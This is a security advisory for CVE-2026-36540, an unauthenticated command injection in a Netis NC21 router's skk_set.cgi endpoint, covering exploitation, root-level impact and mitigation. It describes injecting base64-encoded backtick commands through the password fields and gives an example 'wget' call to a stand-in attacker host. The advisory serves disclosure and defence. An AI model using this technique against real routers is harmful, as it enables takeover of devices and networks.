CVE-2026-36540

Vulnerability

The Netis AC1200 Router NC21 running firmware version V4.0.1.4296 contains an unauthenticated command injection vulnerability in the /cgi-bin/skk_set.cgi endpoint. The password and new_pwd_confirm POST parameters are passed directly to the underlying OS shell without any sanitization. An attacker can inject arbitrary shell commands by wrapping them in backticks and encoding the payload in base64. The endpoint requires no authentication, so any device on the local network can reach it. A proof-of-concept exploit is available in the disclosure repository [1].

Exploitation

An attacker only needs network access to the router's LAN (no authentication). The exploit sends a single HTTP POST request to /cgi-bin/skk_set.cgi with the malicious base64-encoded command in both the password and new_pwd_confirm fields. The CGI decodes the base64 string and passes it to a shell, where backticks cause the injected command to execute. For example, an attacker can run wget http://attacker:8080 to trigger an outbound connection, confirming code execution. The disclosure provides a full Python proof-of-concept script [1]. No race condition or user interaction is needed.

Impact

Successful exploitation yields full remote code execution on the router's underlying operating system with root privileges. The attacker can execute arbitrary shell commands, potentially gaining complete control over the device. This could lead to information disclosure (e.g., network traffic capture), denial of service, or further propagation within the network. The proof-of-concept demonstrates that the router initiates outbound connections, proving OS-level command execution [1].

Mitigation

As of the publication date (2026-05-27), the vendor (Netis Systems) has not responded to disclosure reports, and no patch has been released. Users should consider isolating the router from untrusted LAN segments or replacing it with a supported model. The vulnerability is not known to be listed in CISA's Known Exploited Vulnerabilities (KEV) catalog at this time. A firewall rule blocking access to /cgi-bin/skk_set.cgi from non-admin IPs may reduce risk, but the only complete mitigation is to update to a fixed firmware version when available [1].